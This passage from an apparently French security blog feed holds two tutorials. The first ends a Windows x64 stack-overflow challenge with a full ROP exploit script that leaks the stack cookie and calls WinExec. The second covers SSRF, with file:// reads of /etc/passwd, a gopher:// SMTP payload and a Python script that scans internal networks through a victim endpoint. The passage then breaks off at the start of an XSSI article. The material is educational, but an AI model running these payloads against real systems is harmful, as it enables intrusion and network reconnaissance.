class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">retgadget</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">winexec_addr</span><span class="p">)</span> <span class="c1"># Align rsp using ret + call WinExec</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">ret_addr</span><span class="p">)</span> <span class="c1"># Set return address to the real main return value</span> </code></pre></div> <p>Et voilà !</p> <h2>Exploit</h2> <p>Voici l'exploit final qui regroupe les étapes du dessus et fait apparaître une calculatrice :</p> <div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="n">pack</span><span class="p">,</span><span class="n">unpack</span> <span class="kn">from</span> <span class="nn">subprocess</span> <span class="kn">import</span> <span class="n">Popen</span><span class="p">,</span> <span class="n">PIPE</span> <span class="kn">import</span> <span class="nn">win32process</span> <span class="kn">import</span> <span class="nn">win32api</span> <span class="kn">import</span> <span class="nn">os</span> <span class="n">process</span><span class="o">=</span><span class="mi">0</span> <span class="k">def</span> <span class="nf">getProcess</span><span class="p">():</span> <span class="k">global</span> <span class="n">process</span> <span class="n">process</span> <span class="o">=</span> <span class="n">Popen</span><span class="p">([</span><span class="sa">r</span><span class="s1">&#39;./chall.exe&#39;</span><span class="p">],</span> <span class="n">stdin</span><span class="o">=</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">PIPE</span><span class="p">)</span> <span class="k">def</span> <span class="nf">getLeak</span><span class="p">():</span> <span class="k">global</span> <span class="n">process</span> <span class="n">process</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">600</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span> <span class="n">process</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">60</span><span class="o">+</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span> <span class="k">return</span> <span class="n">process</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span> <span class="k">def</span> <span class="nf">printLeak</span><span class="p">(</span><span class="n">leak</span><span class="p">):</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span><span class="o">/</span><span class="mi">8</span><span class="p">,</span><span class="mi">8</span><span class="p">):</span> <span class="nb">print</span> <span class="nb">hex</span><span class="p">(</span><span class="n">unpack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">leak</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span> <span class="k">def</span> <span class="nf">exploit</span><span class="p">(</span><span class="n">ropchain</span><span class="p">):</span> <span class="n">process</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">600</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span> <span class="n">process</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">ropchain</span><span class="o">+</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span> <span class="n">process</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">&#39;calc.exe</span><span class="se">\x00\n</span><span class="s1">&#39;</span><span class="p">)</span> <span class="c1"># for the scanf inside the ropchain</span> <span class="n">getProcess</span><span class="p">()</span> <span class="n">leak</span><span class="o">=</span><span class="n">getLeak</span><span class="p">()[</span><span class="mi">79</span><span class="p">:]</span> <span class="c1">#printLeak(leak)</span> <span class="n">processHandle</span> <span class="o">=</span> <span class="n">win32api</span><span class="o">.</span><span class="n">OpenProcess</span><span class="p">(</span><span class="mh">0x1F0FFF</span><span class="p">,</span> <span class="kc">False</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">getpid</span><span class="p">())</span> <span class="n">modules</span> <span class="o">=</span> <span class="n">win32process</span><span class="o">.</span><span class="n">EnumProcessModules</span><span class="p">(</span><span class="n">processHandle</span><span class="p">)</span> <span class="n">processHandle</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="c1">#print &#39;\n&#39;.join([&quot;0x%x : %s&quot; % (x,win32api.GetModuleFileName(x)) for x in modules])</span> <span class="n">ntdll_base</span><span class="o">=</span><span class="n">modules</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="c1"># ntdll</span> <span class="n">kernel32_base</span><span class="o">=</span><span class="n">modules</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="c1"># kernel32</span> <span class="n">ret_addr</span><span class="o">=</span><span class="n">unpack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">leak</span><span class="p">[</span><span class="mh">0x18</span><span class="p">:</span><span class="mh">0x20</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">base_addr</span><span class="o">=</span><span class="n">ret_addr</span> <span class="o">-</span> <span class="mh">0x36c</span> <span class="c1"># offset address after call main</span> <span class="n">cookie</span><span class="o">=</span><span class="n">unpack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">leak</span><span class="p">[:</span><span class="mi">8</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">poprcx</span><span class="o">=</span><span class="n">ntdll_base</span> <span class="o">+</span> <span class="mh">0x8d03d</span> <span class="n">poprdxr11</span><span class="o">=</span><span class="n">ntdll_base</span> <span class="o">+</span> <span class="mh">0x8aa07</span> <span class="n">retgadget</span><span class="o">=</span><span class="n">ntdll_base</span> <span class="o">+</span> <span class="mh">0xf5510</span> <span class="n">pop4ret</span><span class="o">=</span><span class="n">ntdll_base</span> <span class="o">+</span> <span class="mh">0xe31de</span> <span class="n">s_addr</span><span class="o">=</span><span class="n">base_addr</span> <span class="o">+</span> <span class="mh">0x126c</span> <span class="n">winexec_addr</span><span class="o">=</span><span class="n">kernel32_base</span> <span class="o">+</span> <span class="mh">0x5E750</span> <span class="n">data_addr</span><span class="o">=</span><span class="n">base_addr</span> <span class="o">+</span> <span class="mh">0x2600</span> <span class="n">scanf_addr</span><span class="o">=</span><span class="n">base_addr</span> <span class="o">+</span> <span class="mh">0x10</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] chall.exe base address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">base_addr</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] ntdll.dll base address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">ntdll_base</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] kernel32.dll base address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">kernel32_base</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] cookie value : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">cookie</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] Winexec address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">winexec_addr</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] scanf address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">scanf_addr</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] ret address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">ret_addr</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] Build ropchain&quot;</span><span class="p">)</span> <span class="n">ropchain</span><span class="o">=</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">64</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">cookie</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;b&quot;</span><span class="o">*</span><span class="mi">16</span> <span class="c1">#scanf(&quot;%s&quot;,data_addr);</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">poprcx</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">s_addr</span><span class="p">)</span> <span class="c1"># Pop 1st arg</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">poprdxr11</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">data_addr</span><span class="p">)</span> <span class="o">+</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">8</span> <span class="c1"># Pop 2nd arg + dumb argument for r11</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">scanf_addr</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">pop4ret</span><span class="p">)</span> <span class="c1"># call scanf + set return addr to pop4ret to jump over the shadow space</span> <span class="n">ropchain</span><span class="o">+=</span><span class="s2">&quot;b&quot;</span><span class="o">*</span><span class="mh">0x20</span> <span class="c1"># Padding to return address (shadow space size)</span> <span class="c1">#WinExec(data_addr,1);</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">poprcx</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">data_addr</span><span class="p">)</span> <span class="c1"># Pop 1st arg</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">poprdxr11</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">8</span> <span class="c1"># Pop 2nd arg + dumb argument for r11</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">retgadget</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">winexec_addr</span><span class="p">)</span> <span class="c1"># Align rsp using ret + call WinExec</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">ret_addr</span><span class="p">)</span> <span class="c1"># Set return address to the real main return value</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] Trigger overflow...&quot;</span><span class="p">)</span> <span class="n">exploit</span><span class="p">(</span><span class="n">ropchain</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] Gimme that calc&quot;</span><span class="p">)</span> </code></pre></div> <p><img alt="Exploit final" src="https://www.dailysecurity.fr/images/final_exploit.png"> Et hop, une calculatrice ! <img src="https://www.dailysecurity.fr/images/easy.gif" alt="Easy" style="width: 50%;"/></p> <p>Nous avons pu voir dans cet article que l'exploitation de binaire sous Windows n'est pas si différente de celle sous Linux.</p> <p>J'espère que cet article aura donné envie aux pwners Linux d'aller tester leurs compétences sur des binaires Windows.</p> <p>Si cela vous intéresse, je vous laisse avec un ancien challenge proposé par Blue Frost Security situé <a href="https://labs.bluefrostsecurity.de/blog/2017/08/02/bfs-ekoparty-exploitation-challenge/">juste ici</a>.</p> <p>Le but est simple : faire pop une calculatrice sans faire crasher le service. Le challenge en lui même est plutôt facile et vous permettra de vous entraîner aux exploits sous Windows.</p> <p><em>Remarque : IDA &lt; 7.0 ne debug pas les binaires 64 bits nativement, néanmoins il permet tout de même le debug à distance (localhost dans votre cas) en lançant le programme "win64_remotex64.exe" situé dans le dossier dbgsrv de IDA et en utilisant l'option Remote Windows Debugger.</em></p> <p>Voilà, c’est déjà terminé, n’hésitez pas à suivre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Un grand merci à <a href="https://twitter.com/_SIben_">SIben</a> et <a href="https://twitter.com/masthoon">Mastho</a> pour la correction de l'article !</p> <p>Geluchat.</p>Les Server Side Request Forgery : Comment contourner un pare-feu2017-09-16T00:40:00+02:002017-09-16T00:40:00+02:00Geluchattag:www.dailysecurity.fr,2017-09-16:/server-side-request-forgery<h2>Qu'est ce que les Server Side Request Forgery ?</h2> <p>Les <strong>Server Side Request Forgery</strong>, ou en abrégé <strong>SSRF</strong>, sont des vulnérabilités Web permettant de lire des fichiers sur le serveur <strong>local</strong>.</p> <p>Il ne faut pas les confondre avec les <strong>CSRF</strong> (Cross Site Request Forgery), qui, elles, ont pour but l'exécution d'une …</p><h2>Qu'est ce que les Server Side Request Forgery ?</h2> <p>Les <strong>Server Side Request Forgery</strong>, ou en abrégé <strong>SSRF</strong>, sont des vulnérabilités Web permettant de lire des fichiers sur le serveur <strong>local</strong>.</p> <p>Il ne faut pas les confondre avec les <strong>CSRF</strong> (Cross Site Request Forgery), qui, elles, ont pour but l'exécution d'une requête à l'insu d'un autre utilisateur.</p> <p>Un des gros avantages des <strong>SSRF</strong> est la possibilité de contourner les <strong>pare-feux</strong>. </p> <p>En effet, les actions se faisant côté serveur, il est possible d'interroger des services n'étant disponibles que localement tels que : </p> <ul> <li>Des bases de données NoSQL : Redis, MongoDB.</li> <li>Des bases de données relationnelles : Oracle, MSSQL, MySQL, PostgreSQL.</li> <li>Des services mail : Postfix, Dovecot.</li> <li>Des services Web accessibles localement.</li> </ul> <p>Ce genre de faille est particulièrement présent sur les proxy Web : Un utilisateur du service proxy peut avoir accès à des données internes au serveur, données auxquelles il n'aurait normalement pas du avoir accès.</p> <p>Le schéma suivant montre un exemple d'attaque sur un proxy Web n'ayant pas protégé son adresse locale contre les <strong>SSRF</strong> :</p> <p><img alt="Schéma SSRF Proxy" src="https://www.dailysecurity.fr/images/Schema_SSRF_Proxy.png"></p> <p>On remarque que l'adresse locale est résolue côté serveur et permet à l'attaquant de récupérer le contenu du dossier <em>secret</em>.</p> <p>Voyons maintenant les différents types d'exploitation possibles en rapport avec les <strong>SSRF</strong>.</p> <h2>Comment exploiter une SSRF : Les schémas d'attaque</h2> <p>Nous avons vus précédemment l'exemple de l'exploitation d'un <strong>proxy Web</strong>, mais il existe une multitude de schémas d'attaque.</p> <p>L'exemple du proxy Web utilise le protocole HTTP pour accéder à des données internes. </p> <p>Nous sommes alors en droit de nous poser une question : <br> <em>Comment faire pour communiquer avec les autres services (bases de données, services e-mail, etc...) ?</em></p> <p>Prenons l'exemple suivant :</p> <div class="highlight"><pre><span></span><code><span class="o">&lt;?</span><span class="nx">php</span> <span class="nv">$curl</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span> <span class="nb">curl_setopt_array</span><span class="p">(</span><span class="nv">$curl</span><span class="p">,</span> <span class="k">array</span><span class="p">(</span> <span class="nx">CURLOPT_URL</span> <span class="o">=&gt;</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;url&#39;</span><span class="p">]</span> <span class="p">));</span> <span class="nv">$resp</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span><span class="nv">$curl</span><span class="p">);</span> <span class="nb">curl_close</span><span class="p">(</span><span class="nv">$curl</span><span class="p">);</span> <span class="cp">?&gt;</span><span class="x"></span> </code></pre></div> <p>Cet exemple prend en entrée une adresse et récupère la page associée, le module curl de PHP est une simple adaptation de la commande système <code>curl http://votreurl.com</code>.</p> <p>On peut donc utiliser toutes les fonctionnalités de <strong>curl</strong>, en particulier celles liées à la sémantique de l'adresse envoyée au script : <code>[protocole]://[IP|nomDeDomaine]:[port]/[param]</code></p> <ul> <li>Le plus important, le protocole à utiliser : http, https, ftp, <strong>gopher</strong>, <strong>file</strong>, dict, etc.</li> <li>L'adresse.</li> <li>Le port distant.</li> <li>Un ou plusieurs paramètres d'accès, par exemple un dossier ou un fichier.</li> </ul> <p>La liste des protocoles implémentés par curl est disponible <a href="https://curl.haxx.se/docs/manpage.html">ici</a>.</p> <h3>Les protocoles <em>file://</em> et <em>http://</em></h3> <p>Un protocole attire notre attention : le protocole <em>file://</em> , celui-ci permet d'ouvrir un fichier sur le serveur. </p> <p>En utilisant le script précédent, on peut essayer de lire le fichier /etc/passwd sur le serveur, ce qui donne en action : <img alt="SSRF File" src="https://www.dailysecurity.fr/images/SSRF_File.png"></p> <p>Nous avons maintenant accès à n'importe quel fichier du serveur ! <img src="https://www.dailysecurity.fr/images/yes.gif" alt="Yes" style="width: 20%;"></p> <p>Le protocole <em>file://</em> nous a permis d'accéder à des fichiers mais <em>comment faire pour communiquer avec les différents services présents sur la machine ?</em></p> <p>L'<a href="http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html">excellent article</a> de <a href="https://twitter.com/Agarri_FR">Nicolas Grégoire</a> est un très bon exemple de <strong>SSRF</strong> sur un service : la base de données NoSQL <strong>Redis</strong>. </p> <p><strong>Redis</strong>, comme MongoDB, est une base de données NoSQL <strong>sans authentification</strong> par défaut. </p> <p>L'article explique comment, à l'aide de requêtes HTTP, <em>extraire</em> des données de la base, <em>modifier</em> cette dernière ou même <em>lire</em> des fichiers sur le système.</p> <p>Le principal souci de cette méthode est qu'une requête HTTP est obligée d'avoir un format spécifique afin d'être correcte : </p> <div class="highlight"><pre><span></span><code><span class="go">GET /index.html</span> <span class="go">Host: www.dailysecurity.fr</span> <span class="go">User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0</span> <span class="go">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span> <span class="go">Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3</span> <span class="go">Accept-Encoding: gzip, deflate, br</span> </code></pre></div> <p>Ce format restreint l'exploitation de service, par exemple l'accès à un service qui a besoin d'un préambule bien précis.</p> <p>Exemple d'accès à la base de données Redis avec une requête HTTP :</p> <div class="highlight"><pre><span></span><code>-ERR wrong number of arguments for &#39;get&#39; command -ERR unknown command &#39;Host:&#39; -ERR unknown command &#39;Accept:&#39; -ERR unknown command &#39;Accept-Encoding:&#39; -ERR unknown command &#39;Connection:&#39; </code></pre></div> <h3>Le protocole <em>gopher://</em></h3> <p>Afin de palier au problème de format, nous pouvons utiliser le protocole <em>gopher://</em>.</p> <p><a href="https://en.wikipedia.org/wiki/Gopher_(protocol)">Gopher</a> est un protocole concurrent de HTTP qui n'est plus vraiment utilisé mais toujours supporté par curl.</p> <p>Il va nous permettre de communiquer avec les services type <em>telnet</em> comme par exemple le service SMTP (e-mail) : <br> <em>ps : 1. Pour les sauts de ligne, on doit les encoder deux fois.</em> <br> <em>2. La première lettre de la requête est aléatoire (x dans l'exemple) car non prise en compte par le protocole gopher.</em></p> <p>On cherche à envoyer un e-mail en utilisant le serveur SMTP disponible localement.</p> <p>Contenu du message :</p> <div class="highlight"><pre><span></span><code>HELO localhost MAIL FROM:&lt;hacker@site.com&gt; RCPT TO:&lt;victim@site.com&gt; DATA From: [Hacker] &lt;hacker@site.com&gt; To: &lt;victime@site.com&gt; Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AH You didn&#39;t say the magic word ! . QUIT </code></pre></div> <p>Ce qui donne en version Gopher : <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ">https://victim.website/curl.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a</a></p> <p>Pour tester notre <strong>SSRF</strong>, on met en place un serveur netcat sur le port 25 (associé au protocole SMTP) et on attend la requête : </p> <div class="highlight"><pre><span></span><code><span class="go">nc -lvp 25</span> <span class="go">listening on [any] 25 ...</span> <span class="go">connect to [127.0.0.1] from localhost [127.0.0.1] 35417</span> <span class="go">HELO localhost</span> <span class="go">MAIL FROM:&lt;hacker@site.com&gt;</span> <span class="go">RCPT TO:&lt;victim@site.com&gt;</span> <span class="go">DATA</span> <span class="go">From: [Hacker] &lt;hacker@site.com&gt;</span> <span class="go">To: &lt;victime@site.com&gt;</span> <span class="go">Date: Tue, 15 Sep 2017 17:20:26 -0400</span> <span class="go">Subject: AH AH AH</span> <span class="go">You didn&#39;t say the magic word !</span> <span class="go">.</span> <span class="go">QUIT</span> </code></pre></div> <p><img src="https://www.dailysecurity.fr/images/firewall.jpg" alt="Yes" style="width: 50%;"></p> <h3>Une autre exemple d'utilisation des <em>SSRF</em> : L'énumération d'adresses IP sur le réseau local</h3> <p>Nous avons vu dans les parties précédentes que les <strong>SSRF</strong> jouaient le rôle de proxy afin d’exécuter des requêtes internes.</p> <p>Elles peuvent alors servir d'outil pour l'énumération des machines dans les sous-réseaux accessibles.</p> <p>La seule contrainte est que le machine à détecter doit avoir au moins un service ouvert.</p> <p>Les services les plus communs sont le plus souvent des services Web ou SSH (ports 80, 443, 8080, 22) voire RDP (port 3389) sur Windows.</p> <p>On peut deviner les sous-réseaux accessibles grâce aux fichiers de configuration de Apache ( <code>/etc/apache2/apache2.conf</code>) ou en cherchant dans les plages d'adresses IP des réseaux privés :</p> <ul> <li>10.0.0.0/8</li> <li>172.16.0.0/12</li> <li>192.168.0.0/16</li> </ul> <p>Pour énumérer les machines disponibles ayant un service HTTP sur le port 80 on peut utiliser le script suivant :</p> <div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span> <span class="k">def</span> <span class="nf">ipRange</span><span class="p">(</span><span class="n">start_ip</span><span class="p">,</span> <span class="n">end_ip</span><span class="p">):</span> <span class="n">start</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">start_ip</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot;.&quot;</span><span class="p">)))</span> <span class="n">end</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">end_ip</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot;.&quot;</span><span class="p">)))</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">start</span> <span class="n">ip_range</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">ip_range</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">start_ip</span><span class="p">)</span> <span class="k">while</span> <span class="n">temp</span> <span class="o">!=</span> <span class="n">end</span><span class="p">:</span> <span class="n">start</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span> <span class="k">if</span> <span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">256</span><span class="p">:</span> <span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span> <span class="n">ip_range</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s2">&quot;.&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span> <span class="n">temp</span><span class="p">)))</span> <span class="k">return</span> <span class="n">ip_range</span> <span class="n">ip_range</span> <span class="o">=</span> <span class="n">ipRange</span><span class="p">(</span><span class="s2">&quot;192.168.0.0&quot;</span><span class="p">,</span> <span class="s2">&quot;192.168.255.255&quot;</span><span class="p">)</span> <span class="n">ip_up</span> <span class="o">=</span> <span class="p">[]</span> <span class="k">for</span> <span class="n">ip</span> <span class="ow">in</span> <span class="n">ip_range</span><span class="p">:</span> <span class="k">try</span><span class="p">:</span> <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&quot;http://victime.website/curl.php?url=http://&quot;</span><span class="o">+</span><span class="n">ip</span><span class="o">+</span><span class="s2">&quot;/:80&quot;</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.5</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="k">if</span><span class="p">(</span><span class="n">result</span> <span class="ow">is</span> <span class="ow">not</span> <span class="s2">&quot;&quot;</span><span class="p">):</span> <span class="n">ip_up</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span> <span class="nb">print</span> <span class="s2">&quot;[+] Machine : &quot;</span><span class="o">+</span><span class="n">ip</span> <span class="k">except</span><span class="p">:</span> <span class="k">pass</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">ip_up</span><span class="p">))</span> </code></pre></div> <hr> <p>Afin de <strong>sécuriser</strong> une application contre les <strong>SSRF</strong>, il faut vérifier : </p> <ul> <li>Le <em>protocole</em> utilisé : autoriser seulement <em>http</em> et <em>https</em>.</li> <li>L'adresse <em>IP</em> liée à l'URL demandée ne doit pas faire partie d'un <a href="https://fr.wikipedia.org/wiki/R%C3%A9seau_priv%C3%A9">réseau privé</a>.</li> </ul> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les XSSI : Les limites de la Same-origin policy !2017-09-13T19:30:00+02:002017-09-13T19:30:00+02:00Geluchattag:www.dailysecurity.fr,2017-09-13:/xssi-sop-bypass<h2>Qu'est-ce que la Same-origin policy :</h2> <p>La <strong>Same-origin policy</strong> ou plus simplement <strong>SOP</strong> est l'une des protections les plus importantes du <strong>navigateur</strong>.</p> <p>Elle sert à vérifier que les contenus chargés sur la page proviennent du <strong>même</strong> domaine que celle-ci.</p> <p>La <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">documentation de Firefox</a> nous donne un tableau qui montre comment fonctionnent …</p><h2>Qu'est-ce que la Same-origin policy :</h2> <p>La <strong>Same-origin policy</strong> ou plus simplement <strong>SOP</strong> est l'une des protections les plus importantes du <strong>navigateur</strong>.</p> <p>Elle sert à vérifier que les contenus chargés sur la page proviennent du <strong>même</strong> domaine que celle-ci.</p> <p>La <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">documentation de Firefox</a> nous donne un tableau qui montre comment fonctionnent ces vérifications : <img alt="Documentation SOP Firefox" src="https://www.dailysecurity.fr/images/firefox_sop_doc.png"></p> <p>Pour faire simple, la <em>SOP</em> évite qu'un attaquant puisse récupérer des informations d'un <strong>autre site</strong> avec les droits de l'utilisateur connecté.</p> <p>Prenons l'exemple suivant qui montre un schéma d'attaque avec la SOP désactivée côté utilisateur : <img alt="Schéma XSS" src="https://www.dailysecurity.fr/images/schema_xssi.png"></p> <p>On voit ici que sans la <em>SOP</em> n'importe quel site visité peut accéder à un autre site en utilisant les cookies de l'utilisateur.</p> <p>Lorsque la <em>SOP</em> est activée, une erreur apparaitra à l'étape 2 : </p> <blockquote> <p>Blocage d’une requête multiorigines (Cross-Origin Request) : la politique « Same Origin » ne permet pas de consulter la ressource distante.</p> </blockquote> <h2>Les limites de la 